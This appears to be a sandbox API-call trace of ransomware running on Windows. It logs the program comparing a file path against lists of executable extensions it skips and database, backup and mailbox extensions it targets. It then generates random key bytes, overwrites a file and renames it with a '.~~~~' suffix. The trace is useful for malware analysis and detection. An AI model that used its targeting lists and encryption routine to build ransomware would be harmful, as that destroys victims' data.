	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.503] lstrlenW (lpString=".SQB") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.503] lstrlenW (lpString=".vhd") returned 4
	[0084.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.504] lstrlenW (lpString=".bac") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.504] lstrlenW (lpString=".mdf") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.504] lstrlenW (lpString=".BAK") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.504] lstrlenW (lpString=".BAC") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.504] lstrlenW (lpString=".dbs") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.504] lstrlenW (lpString=".vhdx") returned 5
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.504] lstrlenW (lpString=".NDF") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.504] lstrlenW (lpString=".dat") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.504] lstrlenW (lpString=".DBS") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.504] lstrlenW (lpString=".CKP") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.504] lstrlenW (lpString=".edb") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.504] lstrlenW (lpString=".PST") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.504] lstrlenW (lpString=".dbf") returned 4
	[0084.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.505] lstrlenW (lpString=".SQL") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.505] lstrlenW (lpString=".pst") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.505] lstrlenW (lpString=".dbv") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.505] lstrlenW (lpString=".SDF") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.505] lstrlenW (lpString=".dtxs") returned 5
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.505] lstrlenW (lpString=".db3") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.505] lstrlenW (lpString=".OST") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.505] lstrlenW (lpString=".dbx") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.505] lstrlenW (lpString=".DB3") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.505] lstrlenW (lpString=".DAT") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.505] lstrlenW (lpString=".VHDX") returned 5
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.505] lstrlenW (lpString=".ndf") returned 4
	[0084.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.506] lstrlenW (lpString=".DB") returned 3
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.506] lstrlenW (lpString=".sql") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.506] lstrlenW (lpString=".MYD") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.506] lstrlenW (lpString=".DBT") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.506] lstrlenW (lpString=".ACCDB") returned 6
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.506] lstrlenW (lpString=".fdb") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.506] lstrlenW (lpString=".bak") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.506] lstrlenW (lpString=".myd") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.506] lstrlenW (lpString=".DTXS") returned 5
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.506] lstrlenW (lpString=".ckp") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.506] lstrlenW (lpString=".dbt") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.506] lstrlenW (lpString=".db") returned 3
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.506] lstrlenW (lpString=".TXT") returned 4
	[0084.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.507] lstrlenW (lpString=".MDF") returned 4
	[0084.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.507] lstrlenW (lpString=".bdb") returned 4
	[0084.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.507] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.507] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395388) returned 1
	[0084.508] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.508] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.508] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20449844533) returned 1
	[0084.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c33d290, dwHighDateTime=0x1d60e1e)) 
	[0084.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2870
	[0084.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2870 | out: hHeap=0x300000) returned 1
	[0084.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808c60
	[0084.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808c60 | out: hHeap=0x300000) returned 1
	[0084.509] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.509] GetLastError () returned 0x0
	[0084.509] GetLastError () returned 0x0
	[0084.509] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.509] GetLastError () returned 0x0
	[0084.510] GetLastError () returned 0x0
	[0084.512] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffebc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.512] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x143b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x143b, lpOverlapped=0x0) returned 1
	[0084.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.513] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.513] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.513] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.513] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.513] CloseHandle (hObject=0x120) returned 1
	[0084.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.513] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.~~~~")) returned 1
	[0084.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.514] GetLastError () returned 0x0
	[0084.514] RtlWakeConditionVariable () returned 0x365f70
	[0084.514] GetCurrentThreadId () returned 0x3a4
	[0084.514] GetCurrentThreadId () returned 0x3a4
	[0084.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808db0 | out: hHeap=0x300000) returned 1
	[0084.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a28a8 | out: hHeap=0x300000) returned 1
	[0084.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808db0
	[0084.515] lstrlenW (lpString=".scr") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.515] lstrlenW (lpString=".cmd") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.515] lstrlenW (lpString=".dll") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.515] lstrlenW (lpString=".bat") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.515] lstrlenW (lpString=".cpl") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.515] lstrlenW (lpString=".sys") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.515] lstrlenW (lpString=".msc") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.515] lstrlenW (lpString=".com") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.515] lstrlenW (lpString=".lnk") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.515] lstrlenW (lpString=".msp") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.515] lstrlenW (lpString=".pif") returned 4
	[0084.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.516] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.516] lstrlenW (lpString=".sqb") returned 4
	[0084.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.516] lstrlenW (lpString=".ost") returned 4
	[0084.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.516] lstrlenW (lpString=".txt") returned 4
	[0084.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.516] lstrlenW (lpString=".mdt") returned 4
	[0084.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.516] lstrlenW (lpString=".BDB") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.517] lstrlenW (lpString=".eql") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.517] lstrlenW (lpString=".DBF") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.517] lstrlenW (lpString=".EQL") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.517] lstrlenW (lpString=".FDB") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.517] lstrlenW (lpString=".EDB") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.517] lstrlenW (lpString=".DACPAC") returned 7
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.517] lstrlenW (lpString=".VHD") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.517] lstrlenW (lpString=".DBV") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.517] lstrlenW (lpString=".dacpac") returned 7
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.517] lstrlenW (lpString=".sdf") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.517] lstrlenW (lpString=".accdb") returned 6
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.517] lstrlenW (lpString=".DBX") returned 4
	[0084.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.517] lstrlenW (lpString=".MDT") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.518] lstrlenW (lpString=".SQB") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.518] lstrlenW (lpString=".vhd") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.518] lstrlenW (lpString=".bac") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.518] lstrlenW (lpString=".mdf") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.518] lstrlenW (lpString=".BAK") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.518] lstrlenW (lpString=".BAC") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.518] lstrlenW (lpString=".dbs") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.518] lstrlenW (lpString=".vhdx") returned 5
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.518] lstrlenW (lpString=".NDF") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.518] lstrlenW (lpString=".dat") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.518] lstrlenW (lpString=".DBS") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.518] lstrlenW (lpString=".CKP") returned 4
	[0084.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.519] lstrlenW (lpString=".edb") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.519] lstrlenW (lpString=".PST") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.519] lstrlenW (lpString=".dbf") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.519] lstrlenW (lpString=".SQL") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.519] lstrlenW (lpString=".pst") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.519] lstrlenW (lpString=".dbv") returned 4
